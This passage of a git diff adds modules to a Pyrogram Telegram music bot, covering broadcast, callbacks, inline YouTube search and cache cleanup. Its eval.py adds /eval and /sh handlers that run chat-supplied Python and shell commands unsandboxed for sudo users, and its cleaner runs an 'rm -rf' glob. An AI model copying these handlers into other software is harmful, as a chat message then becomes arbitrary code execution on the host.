𝘾𝙝𝙖𝙣𝙜𝙚𝙙 𝙎𝙪𝙘𝙘𝙚𝙨𝙨𝙛𝙪𝙡𝙡𝙮.") + else: + return await message.reply_text( + "𝙍𝙚𝙥𝙡𝙮 𝙏𝙤 𝘼 𝙈𝙖𝙨𝙨𝙖𝙜𝙚 𝙊𝙧 𝙂𝙞𝙫𝙚 𝙎𝙤𝙢𝙚 𝙏𝙚𝙭𝙩 𝙏𝙤 𝙎𝙚𝙩 𝙄𝙩 𝘼𝙨 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩'𝙨 𝘽𝙞𝙤." + ) + + +@app.on_message(filters.command(["assname", "setname"]) & SUDOERS) +async def set_name(_, message: Message): + msg = message.reply_to_message + if msg: + if msg.text: + name = msg.text + await app2.update_profile(first_name=name) + return await message.reply_text( + f"» {ASS_MENTION} 𝙉𝙖𝙢𝙚 𝘾𝙝𝙖𝙣𝙜𝙚𝙙 𝙎𝙪𝙘𝙘𝙚𝙨𝙨𝙛𝙪𝙡𝙡𝙮." + ) + elif len(message.command) != 1: + name = message.text.split(None, 1)[1] + await app2.update_profile(first_name=name, last_name="") + return await message.reply_text(f"» {ASS_MENTION} 𝙉𝙖𝙢𝙚 𝘾𝙝𝙖𝙣𝙜𝙚𝙙 𝙎𝙪𝙘𝙘𝙚𝙨𝙨𝙛𝙪𝙡𝙡𝙮.") + else: + return await message.reply_text( + "𝙍𝙚𝙥𝙡𝙮 𝙩𝙤 𝙖 𝙈𝙖𝙨𝙨𝙖𝙜𝙚 𝙤𝙧 𝙂𝙞𝙫𝙚 𝙎𝙤𝙢𝙚 𝙏𝙚𝙭𝙩 𝙏𝙤 𝙎𝙚𝙩 𝙄𝙩 𝘼𝙨 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩'𝙨 𝙉𝙚𝙬 𝙉𝙖𝙢𝙚" + ) diff --git a/GJ516Music/Modules/broadcast.py b/GJ516Music/Modules/broadcast.py new file mode 100644 index 0000000..0690c9a --- /dev/null +++ b/GJ516Music/Modules/broadcast.py @@ -0,0 +1,65 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +import asyncio + +from pyrogram import filters +from pyrogram.errors import FloodWait +from pyrogram.types import Message + +from config import OWNER_ID +from GJ516Music import app, app2 + + +@app.on_message(filters.command("broadcast") & filters.user(OWNER_ID)) +async def broadcast(_, message: Message): + brep = await message.reply_text("𝙎𝙩𝙖𝙧𝙩𝙚𝙙 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩 𝘽𝙧𝙤𝙖𝙙𝙘𝙖𝙨𝙩....") + if message.reply_to_message: + x = message.reply_to_message.id + y = message.chat.id + else: + if len(message.command) < 2: + return await message.reply_text( + "**ᴇxᴀᴍᴘʟᴇ:**\n\n/broadcast [𝙈𝙖𝙨𝙨𝙖𝙜𝙚] 𝙤𝙧 [𝙍𝙚𝙥𝙡𝙮 𝙩𝙤 𝙖 𝙈𝙖𝙨𝙨𝙖𝙜𝙚]" + ) + query = message.text.split(None, 1)[1] + sent = 0 + chats = [] + async for dialog in app2.get_dialogs(): + chats.append(int(dialog.chat.id)) + for i in chats: + try: + await app2.forward_messages( + i, y, x + ) if message.reply_to_message else await app2.send_message(i, text=query) + sent += 1 + except FloodWait as e: + flood_time = int(e.value) + if flood_time > 200: + continue + await asyncio.sleep(flood_time) + except Exception: + continue + try: + await brep.edit_text(f"**𝘽𝙧𝙤𝙖𝙙𝙘𝙖𝙨𝙩 𝙈𝙖𝙨𝙨𝙖𝙜𝙚 𝙄𝙣 {sent} 𝘾𝙝𝙖𝙩 𖤘.** ") + except: + await message.reply_text(f"**𝘽𝙧𝙤𝙖𝙙𝙘𝙖𝙨𝙩 𝙈𝙖𝙨𝙨𝙖𝙜𝙚 𝙄𝙣 {sent} 𝘾𝙝𝙖𝙩 𖤘 .** ") diff --git a/GJ516Music/Modules/callback.py b/GJ516Music/Modules/callback.py new file mode 100644 index 0000000..556cbf1 --- /dev/null +++ b/GJ516Music/Modules/callback.py @@ -0,0 +1,253 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +from pyrogram import filters +from pyrogram.types import CallbackQuery, InlineKeyboardMarkup +from pytgcalls.types import AudioPiped, HighQualityAudio + +from GJ516Music import ( + ASS_ID, + ASS_NAME, + BOT_ID, + BOT_MENTION, + BOT_USERNAME, + LOGGER, + app, + GJ516db, + pytgcalls, +) +from GJ516Music.Helpers import ( + _clear_, + admin_check_cb, + gen_thumb, + is_streaming, + stream_off, + stream_on, +) +from GJ516Music.Helpers.dossier import * +from GJ516Music.Helpers.inline import ( + buttons, + close_key, + help_back, + helpmenu, + pm_buttons, +) + + +@app.on_callback_query(filters.regex("forceclose")) +async def close_(_, CallbackQuery): + callback_data = CallbackQuery.data.strip() + callback_request = callback_data.split(None, 1)[1] + query, user_id = callback_request.split("|") + if CallbackQuery.from_user.id != int(user_id): + try: + return await CallbackQuery.answer( + "𝙄𝙩'𝙡𝙡 𝙗𝙚 𝘽𝙚𝙩𝙩𝙚𝙧 𝙞𝙛 𝙔𝙤𝙪 𝙎𝙩𝙖𝙮 𝙄𝙣 𝙮𝙤𝙪𝙧 𝙇𝙞𝙢𝙞𝙩𝙨.", show_alert=True + ) + except: + return + await CallbackQuery.message.delete() + try: + await CallbackQuery.answer() + except: + return + + +@app.on_callback_query(filters.regex("close")) +async def forceclose_command(_, CallbackQuery): + try: + await CallbackQuery.message.delete() + except: + return + try: + await CallbackQuery.answer() + except: + pass + + +@app.on_callback_query(filters.regex(pattern=r"^(resume_cb|pause_cb|skip_cb|end_cb)$")) +@admin_check_cb +async def admin_cbs(_, query: CallbackQuery): + try: + await query.answer() + except: + pass + + data = query.matches[0].group(1) + + if data == "resume_cb": + if await is_streaming(query.message.chat.id): + return await query.answer( + "𝘿𝙞𝙙 𝙮𝙤𝙪 𝙍𝙚𝙢𝙚𝙢𝙗𝙚𝙧 𝙏𝙝𝙖𝙩 𝙮𝙤𝙪 𝙋𝙖𝙪𝙨𝙚𝙙 𝙩𝙝𝙚 𝙎𝙩𝙧𝙚𝙖𝙢 ?", show_alert=True + ) + await stream_on(query.message.chat.id) + await pytgcalls.resume_stream(query.message.chat.id) + await query.message.reply_text( + text=f"𝙎𝙩𝙧𝙚𝙖𝙢 𝙍𝙚𝙨𝙪𝙢𝙚𝙙\n│ \n└𝘽𝙮 : {query.from_user.mention} ", + reply_markup=close_key, + ) + + elif data == "pause_cb": + if not await is_streaming(query.message.chat.id): + return await query.answer( + "𝘿𝙞𝙙 𝙮𝙤𝙪 𝙍𝙚𝙢𝙚𝙢𝙗𝙚𝙧 𝙏𝙝𝙖𝙩 𝙮𝙤𝙪 𝙍𝙚𝙨𝙪𝙢𝙚𝙙 𝙩𝙝𝙚 𝙎𝙩𝙧𝙚𝙖𝙢 ?", show_alert=True + ) + await stream_off(query.message.chat.id) + await pytgcalls.pause_stream(query.message.chat.id) + await query.message.reply_text( + text=f"𝙎𝙩𝙧𝙚𝙖𝙢 𝙋𝙖𝙪𝙨𝙚𝙙 \n│ \n└𝘽𝙮 : {query.from_user.mention} ", + reply_markup=close_key, + ) + + elif data == "end_cb": + try: + await _clear_(query.message.chat.id) + await pytgcalls.leave_group_call(query.message.chat.id) + except: + pass + await query.message.reply_text( + text=f"➻ 𝙎𝙩𝙧𝙚𝙖𝙢 𝙀𝙣𝙙𝙚𝙙/𝙎𝙩𝙤𝙥𝙥𝙚𝙙 \n│ \n└𝘽𝙮 : {query.from_user.mention} ", + reply_markup=close_key, + ) + await query.message.delete() + + elif data == "skip_cb": + get = GJ516db.get(query.message.chat.id) + if not get: + try: + await _clear_(query.message.chat.id) + await pytgcalls.leave_group_call(query.message.chat.id) + await query.message.reply_text( + text=f"𝙎𝙩𝙧𝙚𝙖𝙢 𝙎𝙠𝙞𝙥𝙥𝙚𝙙\n│ \n└𝘽𝙮 : {query.from_user.mention} \n\n**𝙉𝙤 𝙈𝙤𝙧𝙚 𝙌𝙪𝙚𝙪𝙚𝙙 𝙏𝙧𝙖𝙘𝙠𝙨 𝙞𝙣** {query.message.chat.title}, **𝙡𝙚𝙖𝙫𝙞𝙣𝙜 𝙑𝙞𝙙𝙚𝙤𝙘𝙝𝙖𝙩.**", + reply_markup=close_key, + ) + return await query.message.delete() + except: + return + else: + title = get[0]["title"] + duration = get[0]["duration"] + videoid = get[0]["videoid"] + file_path = get[0]["file_path"] + req_by = get[0]["req"] + user_id = get[0]["user_id"] + get.pop(0) + + stream = AudioPiped(file_path, audio_parameters=HighQualityAudio()) + try: + await pytgcalls.change_stream( + query.message.chat.id, + stream, + ) + except Exception as ex: + LOGGER.error(ex) + await _clear_(query.message.chat.id) + return await pytgcalls.leave_group_call(query.message.chat.id) + + img = await gen_thumb(videoid, user_id) + await query.edit_message_text( + text=f"𝙎𝙩𝙧𝙚𝙖𝙢 𝙎𝙠𝙞𝙥𝙥𝙚𝙙\n│ \n└𝘽𝙮 : {query.from_user.mention} ", + reply_markup=close_key, + ) + return await query.message.reply_photo( + photo=img, + caption=f"**📡 𝙎𝙩𝙖𝙧𝙩𝙚𝙙 𝙎𝙩𝙧𝙚𝙖𝙢𝙞𝙣𝙜 💡**\n\n‣ **💡𝙏𝙞𝙩𝙡𝙚 :** [{title[:27]}](https://t.me/{BOT_USERNAME}?start=info_{videoid})\n ***👤𝙍𝙚𝙦𝙪𝙚𝙨𝙩𝙚𝙙 𝘽𝙮 :** {req_by}", + reply_markup=buttons, + ) + + +@app.on_callback_query(filters.regex("unban_ass")) +async def unban_ass(_, CallbackQuery): + callback_data = CallbackQuery.data.strip() + callback_request = callback_data.split(None, 1)[1] + chat_id, user_id = callback_request.split("|") + umm = (await app.get_chat_member(int(chat_id), BOT_ID)).privileges + if umm.can_restrict_members: + try: + await app.unban_chat_member(int(chat_id), ASS_ID) + except: + return await CallbackQuery.answer( + "𝙁𝙖𝙞𝙡𝙚𝙙 𝙩𝙤 𝙐𝙣𝙗𝙖𝙣 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩.", + show_alert=True, + ) + return await CallbackQuery.edit_message_text( + f" {ASS_NAME} 𝙎𝙪𝙘𝙘𝙚𝙨𝙨𝙛𝙪𝙡𝙡𝙮 𝙐𝙣𝙗𝙖𝙣𝙣𝙚𝙙 𝘽𝙮 {CallbackQuery.from_user.mention}.\n\nᴛʀʏ ᴘʟᴀʏɪɴɢ ɴᴏᴡ..." + ) + else: + return await CallbackQuery.answer( + "𝘿𝙤𝙣'𝙩 𝙃𝙖𝙫𝙚 𝙋𝙚𝙧𝙢𝙞𝙨𝙨𝙞𝙤𝙣 𝙏𝙤 𝙐𝙣𝙗𝙖𝙣 𝙐𝙨𝙚𝙧𝙨 𝙄𝙣 𝙏𝙝𝙞𝙨 𝘾𝙝𝙖𝙩.", + show_alert=True, + ) + + +@app.on_callback_query(filters.regex("GJ516_help")) +async def help_menu(_, query: CallbackQuery): + try: + await query.answer() + except: + pass + + try: + await query.edit_message_text( + text=f" 𝙃𝙚𝙮 {query.from_user.first_name},\n\n 𝙋𝙡𝙚𝙖𝙨𝙚 𝘾𝙡𝙞𝙘𝙠 𝙊𝙣 𝙩𝙝𝙚 𝘽𝙪𝙩𝙩𝙤𝙣 𝘽𝙚𝙡𝙤𝙬 𝙁𝙤𝙧 𝙒𝙝𝙞𝙘𝙝 𝙔𝙤𝙪 𝙒𝙖𝙣𝙣𝙖 𝙂𝙚𝙩 𝙃𝙚𝙡𝙥.", + reply_markup=InlineKeyboardMarkup(helpmenu), + ) + except Exception as e: + LOGGER.error(e) + return + + +@app.on_callback_query(filters.regex("GJ516_cb")) +async def open_hmenu(_, query: CallbackQuery): + callback_data = query.data.strip() + cb = callback_data.split(None, 1)[1] + keyboard = InlineKeyboardMarkup(help_back) + + try: + await query.answer() + except: + pass + + if cb == "help": + await query.edit_message_text(HELP_TEXT, reply_markup=keyboard) + elif cb == "sudo": + await query.edit_message_text(HELP_SUDO, reply_markup=keyboard) + elif cb == "owner": + await query.edit_message_text(HELP_DEV, reply_markup=keyboard) + + +@app.on_callback_query(filters.regex("GJ516_home")) +async def home_GJ516(_, query: CallbackQuery): + try: + await query.answer() + except: + pass + try: + await query.edit_message_text( + text=PM_START_TEXT.format( + query.from_user.first_name, + BOT_MENTION, + ), + reply_markup=InlineKeyboardMarkup(pm_buttons), + ) + except: + pass diff --git a/GJ516Music/Modules/cleaner.py b/GJ516Music/Modules/cleaner.py new file mode 100644 index 0000000..194aec7 --- /dev/null +++ b/GJ516Music/Modules/cleaner.py @@ -0,0 +1,49 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +import os + +from pyrogram import filters +from pyrogram.types import Message + +from config import OWNER_ID +from GJ516Music import app + + +@app.on_message(filters.command(["clearcache", "rmdownloads"]) & filters.user(OWNER_ID)) +async def clear_misc(_, message: Message): + try: + await message.delete() + except: + pass + downloads = os.path.realpath("downloads") + down_dir = os.listdir(downloads) + pth = os.path.realpath(".") + os_dir = os.listdir(pth) + + if down_dir: + for file in down_dir: + os.remove(os.path.join(downloads, file)) + if os_dir: + for lel in os.listdir(pth): + os.system("rm -rf *.webm *.jpg *.png") + await message.reply_text("𝘼𝙡𝙡 𝙏𝙚𝙢𝙥 𝘿𝙞𝙧𝙚𝙘𝙩𝙤𝙧𝙞𝙚𝙨 𝙘𝙡𝙚𝙖𝙣𝙚𝙙.") diff --git a/GJ516Music/Modules/eval.py b/GJ516Music/Modules/eval.py new file mode 100644 index 0000000..8f91d98 --- /dev/null +++ b/GJ516Music/Modules/eval.py @@ -0,0 +1,195 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +import os +import re +import subprocess +import sys +import traceback +from inspect import getfullargspec +from io import StringIO +from time import time + +from pyrogram import filters +from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message + +from GJ516Music import LOGGER, SUDOERS, app + + +async def aexec(code, client, message): + exec( + "async def __aexec(client, message): " + + "".join(f"\n {a}" for a in code.split("\n")) + ) + return await locals()["__aexec"](client, message) + + +async def edit_or_reply(msg: Message, **kwargs): + func = msg.edit_text if msg.from_user.is_self else msg.reply + spec = getfullargspec(func.__wrapped__).args + await func(**{k: v for k, v in kwargs.items() if k in spec}) + + +@app.on_edited_message(filters.command("eval") & SUDOERS & ~filters.forwarded) +@app.on_message(filters.command("eval") & SUDOERS & ~filters.forwarded) +async def executor(client, message): + if len(message.command) < 2: + return await edit_or_reply(message, text="**𝙒𝙝𝙖𝙩 𝙮𝙤𝙪 𝙒𝙖𝙣𝙣𝙖 𝙀𝙭𝙚𝙘𝙪𝙩𝙚?**") + try: + cmd = message.text.split(" ", maxsplit=1)[1] + except IndexError: + return await message.delete() + t1 = time() + old_stderr = sys.stderr + old_stdout = sys.stdout + redirected_output = sys.stdout = StringIO() + redirected_error = sys.stderr = StringIO() + stdout, stderr, exc = None, None, None + try: + await aexec(cmd, client, message) + except Exception: + exc = traceback.format_exc() + stdout = redirected_output.getvalue() + stderr = redirected_error.getvalue() + sys.stdout = old_stdout + sys.stderr = old_stderr + evaluation = "" + if exc: + evaluation = exc + elif stderr: + evaluation = stderr + elif stdout: + evaluation = stdout + else: + evaluation = "Success" + final_output = f"**OUTPUT**:\n```{evaluation.strip()}```" + if len(final_output) > 4096: + filename = "output.txt" + with open(filename, "w+", encoding="utf8") as out_file: + out_file.write(str(evaluation.strip())) + t2 = time() + keyboard = InlineKeyboardMarkup( + [ + [ + InlineKeyboardButton( + text="⏳", + callback_data=f"runtime {t2-t1} Seconds", + ) + ] + ] + ) + await message.reply_document( + document=filename, + caption=f"**INPUT:**\n`{cmd[0:980]}`\n\n**OUTPUT:**\n`Attached Document`", + quote=False, + reply_markup=keyboard, + ) + await message.delete() + os.remove(filename) + else: + t2 = time() + keyboard = InlineKeyboardMarkup( + [ + [ + InlineKeyboardButton( + text="⏳", + callback_data=f"runtime {round(t2-t1, 3)} Seconds", + ), + InlineKeyboardButton( + text="🗑", + callback_data=f"forceclose abc|{message.from_user.id}", + ), + ] + ] + ) + await edit_or_reply(message, text=final_output, reply_markup=keyboard) + + +@app.on_callback_query(filters.regex(r"runtime")) +async def runtime_func_cq(_, cq): + runtime = cq.data.split(None, 1)[1] + await cq.answer(runtime, show_alert=True) + + +@app.on_edited_message( + filters.command("sh") & SUDOERS & ~filters.forwarded & ~filters.via_bot +) +@app.on_message(filters.command("sh") & SUDOERS & ~filters.forwarded & ~filters.via_bot) +async def shellrunner(client, message): + if len(message.command) < 2: + return await edit_or_reply(message, text="**ᴇxᴀᴍᴩʟᴇ :**\n/sh git pull") + text = message.text.split(None, 1)[1] + if "\n" in text: + code = text.split("\n") + output = "" + for x in code: + shell = re.split(""" (?=(?:[^'"]|'[^']*'|"[^"]*")*$)""", x) + try: + process = subprocess.Popen( + shell, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + ) + except Exception as err: + LOGGER.error(err) + await edit_or_reply(message, text=f"**ERROR:**\n```{err}```") + output += f"**{code}**\n" + output += process.stdout.read()[:-1].decode("utf-8") + output += "\n" + else: + shell = re.split(""" (?=(?:[^'"]|'[^']*'|"[^"]*")*$)""", text) + for a in range(len(shell)): + shell[a] = shell[a].replace('"', "") + try: + process = subprocess.Popen( + shell, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + ) + except Exception as err: + LOGGER.error(err) + exc_type, exc_obj, exc_tb = sys.exc_info() + errors = traceback.format_exception( + etype=exc_type, + value=exc_obj, + tb=exc_tb, + ) + return await edit_or_reply( + message, text=f"**ERROR:**\n```{''.join(errors)}```" + ) + output = process.stdout.read()[:-1].decode("utf-8") + if str(output) == "\n": + output = None + if output: + if len(output) > 4096: + with open("output.txt", "w+") as file: + file.write(output) + await client.send_document( + message.chat.id, + "output.txt", + reply_to_message_id=message.message_id, + caption="`Output`", + ) + return os.remove("output.txt") + await edit_or_reply(message, text=f"**OUTPUT:**\n```{output}```") + else: + await edit_or_reply(message, text="**OUTPUT: **\n`No output`") diff --git a/GJ516Music/Modules/inline.py b/GJ516Music/Modules/inline.py new file mode 100644 index 0000000..091c5ae --- /dev/null +++ b/GJ516Music/Modules/inline.py @@ -0,0 +1,92 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +from pyrogram.types import ( + InlineKeyboardButton, + InlineKeyboardMarkup, + InlineQueryResultPhoto, +) +from youtubesearchpython.__future__ import VideosSearch + +from GJ516Music import BOT_NAME, app + + +@app.on_inline_query() +async def inline_query_handler(_, query): + text = query.query.strip().lower() + answers = [] + if text.strip() == "": + try: + await app.answer_inline_query( + query.id, + results=answers, + switch_pm_text="𝙏𝙮𝙥𝙚 𝙎𝙤𝙢𝙚𝙩𝙝𝙞𝙣𝙜 𝙏𝙤 𝙎𝙚𝙖𝙧𝙘𝙝𝙞𝙣𝙜 𝙊𝙣 𝙔𝙤𝙪𝙏𝙪𝙗𝙚 ♪", + cache_time=10, + ) + except: + return + else: + a = VideosSearch(text, limit=20) + result = (await a.next()).get("result") + for x in range(15): + title = (result[x]["title"]).title() + duration = result[x]["duration"] + views = result[x]["viewCount"]["short"] + thumbnail = result[x]["thumbnails"][0]["url"].split("?")[0] + channellink = result[x]["channel"]["link"] + channel = result[x]["channel"]["name"] + link = result[x]["link"] + published = result[x]["publishedTime"] + description = f"{views} | {duration} Mins | {channel} | {published}" + buttons = InlineKeyboardMarkup( + [ + [ + InlineKeyboardButton( + text="𝙔𝙤𝙪𝙏𝙪𝙗𝙚", + url=link, + ) + ], + ] + ) + searched_text = f""" +✨ **𝙏𝙞𝙩𝙡𝙚 :** [{title}]({link}) + +⏳ **𝙙𝙪𝙧𝙖𝙩𝙞𝙤𝙣 :** `{duration}`𝙈𝙞𝙣𝙨 +👀 **𝙑𝙞𝙚𝙬𝙨 :** `{views}` +⏰ **𝙋𝙪𝙗𝙡𝙞𝙨𝙝𝙚𝙙 𝙊𝙣 :** {published} +🎥 **𝘾𝙝𝙖𝙣𝙣𝙚𝙡:** [{channel}]({channellink}) + +💖 **𝗦𝗲𝗮𝗿𝗰𝗵𝗶𝗻𝗴 𝗣𝗼𝘄𝗲𝗿𝗱 𝗯𝘆 {BOT_NAME}**""" + answers.append( + InlineQueryResultPhoto( + photo_url=thumbnail, + title=title, + thumb_url=thumbnail, + description=description, + caption=searched_text, + reply_markup=buttons, + ) + ) + try: + return await app.answer_inline_query(query.id, results=answers) + except: + return diff --git a/GJ516Music/Modules/leaveall.py b/GJ516Music/Modules/leaveall.py new file mode 100644 index 0000000..6c5d10a --- /dev/null +++ b/GJ516Music/Modules/leaveall.py @@ -0,0 +1,63 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +import asyncio + +from pyrogram import filters +from pyrogram.errors import FloodWait +from pyrogram.types import Message + +from config import OWNER_ID +from GJ516Music import ASS_MENTION, SUNAME, app, app2 + + +@app.on_message(filters.command(["leaveall", "assleaveall"]) & filters.user(OWNER_ID)) +async def ass_leaveall(_, message: Message): + lear = await message.reply_text(f"» {ASS_MENTION} 𝙎𝙩𝙖𝙧𝙩𝙞𝙣𝙜 𝙇𝙚𝙖𝙫𝙞𝙣𝙜 𝘾𝙝𝙖𝙩...") + left = 0 + failed = 0 + chats = [] + async for dialog in app2.get_dialogs(): + chats.append(int(dialog.chat.id)) + schat = (await app.get_chat(SUNAME)).id + for i in chats: + if i in (-1001596737491, int(schat)): + continue + try: + await app2.leave_chat(int(i)) + left += 1 + except FloodWait as e: + flood_time = int(e.value) + if flood_time > 200: + continue + await asyncio.sleep(flood_time) + except Exception: + continue + failed += 1 + try: + await lear.edit_text( + f"**» {ASS_MENTION} 𝙎𝙪𝙘𝙘𝙚𝙨𝙨𝙛𝙪𝙡𝙡𝙮 𝙡𝙚𝙛𝙩 𝘾𝙝𝙖𝙩 :**\n\n**𝙡𝙚𝙛𝙩 :** `{left}`\n**𝙁𝙖𝙞𝙡𝙚𝙙 :** `{failed}`" + ) + except: + await message.reply_text( + f"**» {ASS_MENTION} 𝙎𝙪𝙘𝙘𝙚𝙨𝙨𝙛𝙪𝙡𝙡𝙮 𝙡𝙚𝙛𝙩 𝘾𝙝𝙖𝙩 :**\n\n**𝙡𝙚𝙛𝙩 :** `{left}`\n**𝙁𝙖𝙞𝙡𝙚𝙙 :** `{failed}`" + ) diff --git a/GJ516Music/Modules/pause.py b/GJ516Music/Modules/pause.py new file mode 100644 index 0000000..8cd2eaf --- /dev/null +++ b/GJ516Music/Modules/pause.py @@ -0,0 +1,48 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +from pyrogram import filters +from pyrogram.types import Message + +from GJ516Music import app, pytgcalls +from GJ516Music.Helpers import 